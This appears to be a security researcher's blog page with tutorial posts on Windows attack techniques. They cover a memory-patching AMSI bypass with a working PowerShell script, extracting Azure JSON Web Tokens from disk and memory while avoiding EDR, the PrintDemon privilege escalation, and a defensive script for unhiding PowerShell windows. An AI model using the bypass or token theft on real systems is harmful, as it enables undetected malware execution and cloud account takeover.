Microsoft Windows Antimalware Scan Interface Bypasses

Microsoft Windows Antimalware Scan Interface Bypasses

Antimalware Scan Interface, or AMSI in short, is an interface standard for Windows components like User Account Control, PowerShell, Windows Script Host, Macro’s, Javascript, and VBScript to scan for malicious content. AMSI sits in the middle of an application and an AMSI provider, like Microsoft Defender, to identify malicious content. In this blog post, I will go through the technical details on bypassing AMSI using a technique called memory patching.

How AMSI works

When running any code in PowerShell, it is passed to AMSI first before executing. AMSI will scan for any malicious content and report back to the AMSI provider with the result. If the result is “clean,” the code is executed. If the result is “detected,” the AMSI provider blocks the execution.

Here is an illustration of the AMSI architecture.

Image 1: AMSI architectural overview.

And here is an example of AMSI blocking a “malicious” string in PowerShell.

Image 2: AMSI blocking the string “amsiscanbuffer”.

As you can see, AMSI identified “amsiscanbuffer” as malicious, and Microsoft Defender, as an AMSI provider, blocked the content from running.

Debugging AMSI

I will use WinDbg in combination with PowerShell to perform the bypass and explain what is going on.

First, we start WinDbg and PowerShell. When we attach PowerShell to WinDbg, we can see amsi.dll is one of the loaded modules.

Image 3: AMSI loaded as a module.

We can use the “x” command to examine all symbols that match a specified pattern to identify all AMSI symbols.

Image 4: All AMSI symbols starting with amsi!Amsi.

Luckily, Microsoft well documents the functions in Antimalware Scan Interface, which is very helpful.

Image 5: Microsoft docs AMSI functions.

Let us set a breakpoint on “amsi!AmsiScanBuffer” first and see if we can bypass AMSI.

Image 6: Setting a breakpoint and resume PowerShell.

If we look at the Microsoft documentation, AmsiScanBuffer “Scans a buffer-full of content for malware.” AmsiScanBuffer accepts multiple parameters, including the buffer to scan and the length of the buffer. If we can change the buffer or change the length of the buffer, we can probably bypass AMSI.

Do not be overwhelmed by the assembly code. Even though this blog post is not about assembly language, I will guide you through it. We can ignore most parts of the code anyway—for example, the first line of code.

mov r11, rsp

In assembly, a stack is an abstract data structure that consists of information in a Last In First Out system. To speed up the processor operations, the processor includes some internal memory storage locations, called registers. The registers differences between architectures like 16, 32, and 64 bits. In x86 assembly 16 bit, the registers are AX, BX, CX, DX, etc. With 32 bit, the registers have an “E” prepended. The “E” stands for Extended, and they never think this through for when another architecture is released because, for 64 bit, the registers have an “R” prepended. The “MOV” command moves any value from one register to the other.

So, the first line of code moves whatever is in the RSP register to the R11 register. The RSP register is the stack pointer register, and it points to the top of the stack. All the first line of code does is to preserve the address of the pointer in another register.

All of this is to explain you do not have to look at all lines of code as not everything is relevant. From now on, I will only go through the exciting parts of the code.

AMSI Bypass

Oversimplified, we skip all of the code in AmsiScanBuffer to the end of the procedure so that no scanning occurs. Without scanning, no identification of malicious code takes place.

The instruction to return from the procedure is “ret.” The return instruction is a single byte and is “c3” in hexadecimal. The first line of code contains three bytes, “41 8b f8”. We need to replace the other two instructions since we only use a single byte for the return instruction. Luckily there is an operation to fill the gaps, called a “no operation” or “nop.” A “nop” operation does nothing and is perfect for filling the gaps.

So we replace “41 8b f8” with “ret, nop, nop” or “c3 90 90” respectively.

Image 7: Changing the code to a return and two no-operations.

If we continue PowerShell, we see AMSI is not detecting the malicious string.

Image 8: amsiscanbuffer not detected as malicious due to patch.

Here is an animation of the bypass.

Animation 1: AMSI bypass using a return.

PowerShell Script

Rasta Mouse already created a script to patch AMSI in memory, so we use this as a starting point.

$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]0)
$Patch = [Byte[]] (0xc3, 0x90, 0x90)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 3)

The script uses GetProcAddress to retrieve the address of an exported function, which in this case, is asmi.dll. VirtualProtect changes the protection on a region to write so we can write to memory. The variable $patch is a byte array with our bytes to “patch.”

If we run this script in PowerShell, we can see that “amsiscanbuffer” is not marked as malicious anymore.

Image 9: Patching PowerShell to bypass AMSI.

Another AMSI Bypass

Ok, back to the AmsiScanBuffer function. Before calling the function, the values for the parameters need to be pushed on top of the stack. We know that one of the parameters is the length of the buffer.

If we step through the code, we find “mov edi, r8d”. The value of register “r8d” is “1c,” which is 28 in decimal. So the length of the buffer that is check is 28 bytes. If we change this value to 0, there is no buffer to check.

Image 10: Bypassing AMSI by setting the length of the buffer to 0.

If we resume PowerShell in WinDbg, we can see the “malicious” string “amsiscanbuffer” is not marked as malicious anymore.

Image 11: AMSI bypassed by setting the length of the buffer to 0.

Here is an animation of the bypass.

Animation 2: AMSI bypass using a 0 buffer length.

Conclusion

As you can see, AMSI is not hard to bypass. Even if Microsoft identifies common code used in a bypass as malicious, there are many ways to work around it. Even script-kiddies are not detected if they know they need to run a simple script to bypass AMSI before running malicious code. Hopefully, AMSI keeps updating the matching pattern where most bypasses are detected. It is a matter of time, though, when attackers create a new bypass.

Microsoft JSON Web Token Extractor

Microsoft JSON Web Token Extractor

When connecting to Azure using, for example, the PowerShell Az module, a JSON Web Token is created and sometimes stored in plain text on disk and memory. I will show where to find the JSON Web Tokens on disk in this blog post, including a tool I wrote to get JSON Web Tokens from memory that contains the JSON Web Tokens, including those found on disk.

JSON Web Tokens

To securely exchange information between parties, authenticating and authorizing a JSON Web Token is commonly used.

A JSON Web Token encodes any sets of identity claims into a payload, including a header that contains how it is to be signed.

The client authenticates to an Identity Provider, and the Identity Provider creates and signs, using a private key, a JSON Web Token. When the client connects to a service, it provides the signed JSON Web Token. The service validates the token using the public key of the Identity Provider and authenticates the client.

Image 1: JSON Web Token Authentication

Let us look at a JSON Web Token example:

Image 2: JSON Web Token example

The encoded part consists of three parts: A header, a payload, and a verify signature. If you tamper with the header or payload, the signature is not valid, and the token becomes invalid.

So, in short, having a valid JSON Web Token is the key to the kingdom.

HistorySavePath

The first and most obvious path to look for JSON Web Tokens is the HistorySavePath.

HistorySavePath is a setting that saves all PowerShell console history. When a user or admin connects to Azure using PowerShell, the command is stored to file in plain text.

Image 3: HistorySavePath
Image 4: Logging saved to file

Note: Since HistorySavePath loads when PowerShell starts, “Microsoft JSON Web Token Extractor” also displays these tokens.

User Profile

Depending on how a user or admin connects to Azure, the following JSON files contains the JSON Web Token in plain text:

Image 5: File location for JSON Web Tokens

Note: Since the JSON files load when PowerShell starts, “Microsoft JSON Web Token Extractor” also displays these tokens.

Script Block Logging

Script Block Logging saves blocks of code as PowerShell executes them. When a user or admin runs the following command in PowerShell and Script Block Logging is enabled, the event viewer contains the JSON Web Token.

Note: Script Block Logging setting is disabled by default but enabled by many companies due to monitoring.

Microsoft JSON Web Token Extractor

A JSON Web Token is created in memory when connecting to Azure using PowerShell using the following command:

I wondered if I could extract the JSON Web Token from memory without dumping anything on disk to avoid a trigger from any Endpoint Detection and Response solution.

The result is a C# tool to extract all JSON Web Tokens found in memory used by PowerShell, including those found on disk.

Image 6: Microsoft JSON Web Token Extractor

Conclusion

My idea was to jump from on-premises to the cloud without dumping the process to disk using standard tools. The token still needs to be valid, and a user or an admin needs to connect to Azure using PowerShell, but if they do, an attacker can connect to the cloud without touching any other device in the network and stay low-profile.

Microsoft PrintDemon vulnerability

Microsoft PrintDemon vulnerability

PrintDemon (CVE-2020-1048) is a vulnerability that uses the Windows Printer Spooler to escalate privileges, bypass Endpoint Detection & Response (EDR), and gain persistence. The Windows Printer Spooler has a long history of vulnerabilities, including a vulnerability (CVE-2010-2729) used by the well-known Malware called Stuxnet in 2010.

Printer Attributes

A printer must be associated with two attributes: A printer port and a printer driver. Setup the printer port to ‘PORTPROMPT, makes it possible to print to a file. There is no check when using the PowerShell command ‘Add-PrinterPort’ if the user has permission to access the location set as the printer port. So the user is free to set any location for the printer port as a low-privileged user. When you print to the printer, it uses the printer port to print to a file. If the user does not have write permission to the location, the print job gets queued. Once you restart the spooler service, the print job will execute with SYSTEM privileges, and the file will also get dropped with these privileges. Since SYSTEM is a high-privileges account, you can drop a file anywhere on the system as a low-privileged user, hence the name privilege-escalation.

Markup Bytes

There was one problem, however. When you print a string to the printer, it looks like there are some markup bytes at the beginning of the file as the printer thinks you are printing and not to a file. Since the first few bytes of a file is the signature (magic bytes) of a file, it can not be touched if you want to execute it in a usual way.

Figure 1: PowerShell commands used during the attack

I wanted to check if I was able to write a valid executable file to disk without any markup bytes at the beginning of the file. The script linked below creates a printer with a malicious printer port and write a byte array to the newly created printer. This way, it is possible to dump a valid binary on disk as SYSTEM once you restart the spooler service.

Conclusion

Attacks like DLL hijacking is possible as a low-privileged user using the PrintDemon bug. Microsoft released a patch last week. After installing the patch, the system checks if the user has permissions, which you set as a port on a printer, before creating the port. Unfortunately, the patch prevents creating a new malicious port, but malicious ports created before the patch still work.

The C# code can be found here and the PowerShell code can be found here.

Microsoft PowerShell Unhide

Microsoft PowerShell Unhide

PowerShell supports a command line parameter “WindowStyle” as shown below. The parameter “WindowStyle” sets the window style for that session. Valid values are Normal, Minimized, Maximized, and Hidden.

PowerShell[.exe]
    [-PSConsoleFile <file> | -Version <version>]
    [-NoLogo]
    [-NoExit]
    [-Sta]
    [-Mta]
    [-NoProfile]
    [-NonInteractive]
    [-InputFormat {Text | XML}]
    [-OutputFormat {Text | XML}]
    [-WindowStyle <style>]
    [-EncodedCommand <Base64EncodedCommand>]
    [-ConfigurationName <string>]
    [-File - | <filePath> <args>]
    [-ExecutionPolicy <ExecutionPolicy>]
    [-Command - | { <script-block> [-args <arg-array>] }
                | { <string> [<CommandParameters>] } ]

Unhide PowerShell

Most malicious PowerShell scripts run PowerShell with the window style “Hidden”. When the process starts with WindowStyle hidden, no PowerShell console is displayed, so it runs unnoticed for the logged-in user. I created a script to unhide all PowerShell processes. This script can be used during a CERT incident when you want to unhide all PowerShell shells to see what commands are used.

Figure 1: WindowStyle Hidden and unhide PowerShell

Conclusion

There are ways to log PowerShell commands, but when logs are cleared, unhiding is an option.

The PowerShell script can be found here.